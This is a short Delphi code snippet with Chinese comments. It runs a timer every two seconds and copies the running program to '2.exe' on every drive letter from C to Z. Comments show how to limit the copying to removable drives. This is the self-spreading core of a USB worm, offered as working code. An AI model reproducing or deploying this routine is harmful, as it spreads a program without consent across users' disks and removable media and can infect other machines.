var
i:char;
s3:string;
//设为2秒
procedure TForm1.Timer1Timer(Sender: TObject); //每2秒运行1次
begin
for i:='C' to 'Z' do //注意下面的begin end;
begin
s3:=pchar(i+':\2.exe');
copyfile(pchar(application.Exename),pchar(s3),False);
if not Fileexists(s3) then
Timer1.Enabled:=true
else
Timer1.Enabled:=false;
end;
end;

end.
//移动硬盘返回 DRIVE_REMOVABLE
//本地硬盘返回 DRIVE_FIXED
//可选 if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then